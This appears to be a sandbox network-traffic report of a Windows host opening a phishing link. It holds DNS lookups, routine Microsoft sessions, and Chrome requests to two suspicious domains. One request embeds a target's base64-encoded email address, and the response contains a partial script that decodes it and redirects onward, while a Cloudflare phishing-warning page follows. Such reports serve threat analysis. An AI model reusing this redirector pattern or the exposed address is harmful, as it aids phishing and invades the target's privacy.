Oct 4, 2024 09:57:32.912455082 CEST	49724	443	192.168.2.16	172.217.16.196
Oct 4, 2024 09:57:32.912507057 CEST	443	49724	172.217.16.196	192.168.2.16
Oct 4, 2024 09:57:32.912606955 CEST	49724	443	192.168.2.16	172.217.16.196
Oct 4, 2024 09:57:32.912925005 CEST	49724	443	192.168.2.16	172.217.16.196
Oct 4, 2024 09:57:32.912941933 CEST	443	49724	172.217.16.196	192.168.2.16
Oct 4, 2024 09:57:33.561042070 CEST	443	49724	172.217.16.196	192.168.2.16
Oct 4, 2024 09:57:33.561425924 CEST	49724	443	192.168.2.16	172.217.16.196
Oct 4, 2024 09:57:33.561450958 CEST	443	49724	172.217.16.196	192.168.2.16
Oct 4, 2024 09:57:33.562525988 CEST	443	49724	172.217.16.196	192.168.2.16
Oct 4, 2024 09:57:33.562823057 CEST	49724	443	192.168.2.16	172.217.16.196
Oct 4, 2024 09:57:33.563000917 CEST	443	49724	172.217.16.196	192.168.2.16
Oct 4, 2024 09:57:33.614290953 CEST	49724	443	192.168.2.16	172.217.16.196
Oct 4, 2024 09:57:41.661663055 CEST	49699	80	192.168.2.16	192.229.221.95
Oct 4, 2024 09:57:41.667172909 CEST	80	49699	192.229.221.95	192.168.2.16
Oct 4, 2024 09:57:41.667263031 CEST	49699	80	192.168.2.16	192.229.221.95
Oct 4, 2024 09:57:43.455663919 CEST	443	49724	172.217.16.196	192.168.2.16
Oct 4, 2024 09:57:43.455837011 CEST	443	49724	172.217.16.196	192.168.2.16
Oct 4, 2024 09:57:43.456111908 CEST	49724	443	192.168.2.16	172.217.16.196
Oct 4, 2024 09:57:44.313072920 CEST	49724	443	192.168.2.16	172.217.16.196
Oct 4, 2024 09:57:44.313102961 CEST	443	49724	172.217.16.196	192.168.2.16

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 4, 2024 09:56:27.995440006 CEST	53	57548	1.1.1.1	192.168.2.16
Oct 4, 2024 09:56:28.041654110 CEST	53	50398	1.1.1.1	192.168.2.16
Oct 4, 2024 09:56:29.030080080 CEST	53	52758	1.1.1.1	192.168.2.16
Oct 4, 2024 09:56:31.402376890 CEST	58171	53	192.168.2.16	1.1.1.1
Oct 4, 2024 09:56:31.402638912 CEST	61165	53	192.168.2.16	1.1.1.1
Oct 4, 2024 09:56:31.574605942 CEST	53	61165	1.1.1.1	192.168.2.16
Oct 4, 2024 09:56:31.574805975 CEST	53	58171	1.1.1.1	192.168.2.16
Oct 4, 2024 09:56:32.521962881 CEST	49740	53	192.168.2.16	1.1.1.1
Oct 4, 2024 09:56:32.523755074 CEST	60536	53	192.168.2.16	1.1.1.1
Oct 4, 2024 09:56:32.540558100 CEST	53	60536	1.1.1.1	192.168.2.16
Oct 4, 2024 09:56:32.705671072 CEST	53	49740	1.1.1.1	192.168.2.16
Oct 4, 2024 09:56:32.855618000 CEST	52830	53	192.168.2.16	1.1.1.1
Oct 4, 2024 09:56:32.855755091 CEST	57438	53	192.168.2.16	1.1.1.1
Oct 4, 2024 09:56:32.867229939 CEST	53	52830	1.1.1.1	192.168.2.16
Oct 4, 2024 09:56:32.867250919 CEST	53	57438	1.1.1.1	192.168.2.16
Oct 4, 2024 09:56:45.968354940 CEST	53	53450	1.1.1.1	192.168.2.16
Oct 4, 2024 09:57:04.878071070 CEST	53	63837	1.1.1.1	192.168.2.16
Oct 4, 2024 09:57:07.457130909 CEST	138	138	192.168.2.16	192.168.2.255
Oct 4, 2024 09:57:27.694781065 CEST	53	60182	1.1.1.1	192.168.2.16
Oct 4, 2024 09:57:28.017959118 CEST	53	61995	1.1.1.1	192.168.2.16
Oct 4, 2024 09:57:56.023503065 CEST	53	59499	1.1.1.1	192.168.2.16

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 4, 2024 09:56:31.402376890 CEST	192.168.2.16	1.1.1.1	0x7fc	Standard query (0)	lxnk1f.cheapestselfstorageunits.com	A (IP address)	IN (0x0001)	false
Oct 4, 2024 09:56:31.402638912 CEST	192.168.2.16	1.1.1.1	0xf387	Standard query (0)	lxnk1f.cheapestselfstorageunits.com	65	IN (0x0001)	false
Oct 4, 2024 09:56:32.521962881 CEST	192.168.2.16	1.1.1.1	0x3743	Standard query (0)	qiczox0.ascenseurm8.com	A (IP address)	IN (0x0001)	false
Oct 4, 2024 09:56:32.523755074 CEST	192.168.2.16	1.1.1.1	0xe8a4	Standard query (0)	qiczox0.ascenseurm8.com	65	IN (0x0001)	false
Oct 4, 2024 09:56:32.855618000 CEST	192.168.2.16	1.1.1.1	0x7e59	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 4, 2024 09:56:32.855755091 CEST	192.168.2.16	1.1.1.1	0x75b	Standard query (0)	www.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Oct 4, 2024 09:56:31.574805975 CEST	1.1.1.1	192.168.2.16	0x7fc	No error (0)	lxnk1f.cheapestselfstorageunits.com	72.167.142.137	A (IP address)	IN (0x0001)	false
Oct 4, 2024 09:56:32.540558100 CEST	1.1.1.1	192.168.2.16	0xe8a4	No error (0)	qiczox0.ascenseurm8.com		65	IN (0x0001)	false
Oct 4, 2024 09:56:32.705671072 CEST	1.1.1.1	192.168.2.16	0x3743	No error (0)	qiczox0.ascenseurm8.com	172.67.185.52	A (IP address)	IN (0x0001)	false
Oct 4, 2024 09:56:32.705671072 CEST	1.1.1.1	192.168.2.16	0x3743	No error (0)	qiczox0.ascenseurm8.com	104.21.19.42	A (IP address)	IN (0x0001)	false
Oct 4, 2024 09:56:32.867229939 CEST	1.1.1.1	192.168.2.16	0x7e59	No error (0)	www.google.com	172.217.16.196	A (IP address)	IN (0x0001)	false
Oct 4, 2024 09:56:32.867250919 CEST	1.1.1.1	192.168.2.16	0x75b	No error (0)	www.google.com		65	IN (0x0001)	false

HTTP Request Dependency Graph

fs.microsoft.com

slscr.update.microsoft.com

lxnk1f.cheapestselfstorageunits.com

https:

qiczox0.ascenseurm8.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.16	49705	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-04 07:56:10 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-04 07:56:10 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF70) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=204543 Date: Fri, 04 Oct 2024 07:56:10 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.16	49707	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-04 07:56:11 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-04 07:56:11 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=204617 Date: Fri, 04 Oct 2024 07:56:11 GMT Content-Length: 55 Connection: close X-CID: 2
2024-10-04 07:56:11 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.16	49709	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
2024-10-04 07:56:14 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Uu5x82gFSVz4Y+V&MD=xRO9H6GA HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-04 07:56:14 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 8e23140b-331e-4d8d-ab74-46882c08d562 MS-RequestId: ebe084ab-2ba8-45d6-bd20-2117ee74dd57 MS-CV: 1E+zeEPlFEm3TJJT.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 04 Oct 2024 07:56:13 GMT Connection: close Content-Length: 24490
2024-10-04 07:56:14 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-04 07:56:14 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.16	49710	20.190.160.22	443

Timestamp	Bytes transferred	Direction	Data
2024-10-04 07:56:15 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4762 Host: login.live.com
2024-10-04 07:56:15 UTC	4762	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-10-04 07:56:15 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 04 Oct 2024 07:55:15 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C538_BAY x-ms-request-id: 2881e93e-dc35-4f3e-8304-4eefe617fa70 PPServer: PPV: 30 H: PH1PEPF00011EE0 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 04 Oct 2024 07:56:15 GMT Connection: close Content-Length: 10197
2024-10-04 07:56:15 UTC	10197	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.16	49718	72.167.142.137	443	3688	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 07:56:32 UTC	715	OUT	GET /?am9oYW5uZXMuYmVya21hbm5AdmlyaWRpdW0tZ3J1cHBlLmNvbQ== HTTP/1.1 Host: lxnk1f.cheapestselfstorageunits.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-04 07:56:32 UTC	208	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 07:56:32 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-10-04 07:56:32 UTC	356	IN	Data Raw: 31 35 38 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 2f 2f 20 47 65 74 20 55 52 4c 0d 0a 2f 2f 65 67 20 68 74 74 70 3a 2f 2f 65 78 61 6d 70 6c 65 2e 63 6f 6d 2f 23 2e 5b 63 68 61 72 35 5d 2e 5b 45 4d 41 49 4c 36 34 5d 0d 0a 76 61 72 20 6c 69 6e 6b 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 55 52 4c 3b 0d 0a 2f 2f 20 65 78 74 72 61 63 74 20 65 76 65 72 79 74 68 69 6e 67 20 61 66 74 65 72 20 68 61 73 68 0d 0a 76 61 72 20 68 61 73 68 20 3d 20 6c 69 6e 6b 2e 73 75 62 73 74 72 69 6e 67 28 6c 69 6e 6b 2e 69 6e 64 65 78 4f 66 28 27 3f 27 29 2b 31 29 3b 0d 0a 2f 2f 20 63 6f 6e 76 65 72 74 20 66 72 6f 6d 20 62 61 73 65 36 34 0d 0a 76 61 72 20 64 65 63 6f 64 65 64 62 36 34 20 3d 20 61 74 6f 62 28 68 61 73 68 29 3b 0d 0a 2f 2f 20 52 65 64 69 72 65 63 74 20 74 6f 20 61 6e 6f 74 68 Data Ascii: 158<script>// Get URL//eg http://example.com/#.[char5].[EMAIL64]var link = document.URL;// extract everything after hashvar hash = link.substring(link.indexOf('?')+1);// convert from base64var decodedb64 = atob(hash);// Redirect to anoth

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.16	49721	172.67.185.52	443	3688	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 07:56:33 UTC	713	OUT	GET /76ikbi1/ HTTP/1.1 Host: qiczox0.ascenseurm8.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://lxnk1f.cheapestselfstorageunits.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-04 07:56:33 UTC	602	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 07:56:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=M%2FluPPoXeyyANNmkmpr15ZCd2vrk0EVtE00CRbYp57Vz8HnBPSjAHhXW9wp3hEfKp8WNmKMqbCHq%2B2dq6lJguqLcvzTqq011wmaAFaM3K6TiovLCtHpkUxIobfutMX0yHYJXODDp12AZCg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd39db6fdf70f70-EWR
2024-10-04 07:56:33 UTC	767	IN	Data Raw: 31 31 33 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1132<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-10-04 07:56:33 UTC	1369	IN	Data Raw: 73 68 65 65 74 22 20 69 64 3d 27 63 66 5f 73 74 79 6c 65 73 2d 69 65 2d 63 73 73 27 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b Data Ascii: sheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () {
2024-10-04 07:56:33 UTC	1369	IN	Data Raw: 69 73 68 2d 62 79 70 61 73 73 22 20 6d 65 74 68 6f 64 3d 22 47 45 54 22 20 65 6e 63 74 79 70 65 3d 22 74 65 78 74 2f 70 6c 61 69 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 61 74 6f 6b 22 20 76 61 6c 75 65 3d 22 45 56 54 5a 48 58 52 66 57 48 42 74 4f 56 36 64 4c 38 36 44 53 61 63 37 66 63 73 46 63 4f 36 33 43 6f 72 32 4c 6d 59 6f 51 41 30 2d 31 37 32 38 30 32 38 35 39 33 2d 30 2e 30 2e 31 2e 31 2d 2f 37 36 69 6b 62 69 31 2f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 6c 65 61 72 6e 69 Data Ascii: ish-bypass" method="GET" enctype="text/plain"> <input type="hidden" name="atok" value="EVTZHXRfWHBtOV6dL86DSac7fcsFcO63Cor2LmYoQA0-1728028593-0.0.1.1-/76ikbi1/"> <a href="https://www.cloudflare.com/learni
2024-10-04 07:56:33 UTC	905	IN	Data Raw: 36 2e 31 32 33 2e 33 33 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 61 6d 70 3b 20 73 65 63 75 72 69 74 79 20 62 79 3c 2f 73 70 61 6e 3e 20 3c 61 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 35 78 78 2d 65 72 72 6f Data Ascii: 6.123.33</span> <span class="cf-footer-separator sm:hidden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-erro
2024-10-04 07:56:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.16	49722	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
2024-10-04 07:56:51 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Uu5x82gFSVz4Y+V&MD=xRO9H6GA HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-04 07:56:51 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 9959ad94-807b-4b62-afd0-864431acb7d1 MS-RequestId: f3537bce-28a3-4a73-bc20-fbead5373cb9 MS-CV: h+QbtGXWGEqHCqXo.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 04 Oct 2024 07:56:51 GMT Connection: close Content-Length: 30005
